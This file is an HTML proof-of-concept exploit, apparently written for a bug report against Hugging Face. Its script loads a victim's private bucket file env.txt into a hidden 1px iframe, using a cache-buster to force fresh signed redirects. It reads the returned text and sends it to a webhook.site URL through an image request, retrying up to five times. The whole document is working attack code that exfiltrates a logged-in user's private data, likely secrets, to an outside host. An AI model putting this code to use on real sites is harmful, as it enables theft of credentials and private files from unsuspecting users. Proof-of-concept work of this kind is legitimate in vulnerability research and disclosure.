poc2.html

<!doctype html><meta charset=utf-8>
<body style="font:16px monospace;padding:14px;background:#111;color:#0f0">
<h3 id="st">working...</h3><pre id="out" style="white-space:pre-wrap;color:#ff0"></pre>
<script>
var WH='https://webhook.site/4a786e39-34b4-4d89-9598-aab22d574ee5/';
var BASE='https://huggingface.co/buckets/victimfsfsd/vicpriv/resolve/env.txt';
var tries=0;
function once(){
  tries++;
  var f=document.createElement('iframe'); f.style.width='1px'; f.style.height='1px';
  // cache-buster: force a FRESH signed redirect each time (avoids a stale/expired signed URL)
  f.src=BASE+'?_='+Date.now()+'_'+Math.random();
  document.body.appendChild(f);
  var n=0, iv=setInterval(function(){
    try{
      var s=(f.contentDocument&&f.contentDocument.body)?f.contentDocument.body.innerText:'';
      if(s && s.length>2){
        clearInterval(iv);
        document.getElementById('st').textContent='READ OK (try '+tries+') - sent to webhook';
        document.getElementById('out').textContent=s;
        new Image().src=WH+'?d='+encodeURIComponent(s);
      }
    }catch(e){}
    if(++n>120){ clearInterval(iv); f.remove();
      if(tries<5){ once(); }
      else { document.getElementById('st').textContent='NO READ after 5 tries -> need victim login + 3rd-party cookies allowed'; }
    }
  },100);
}
once();
</script>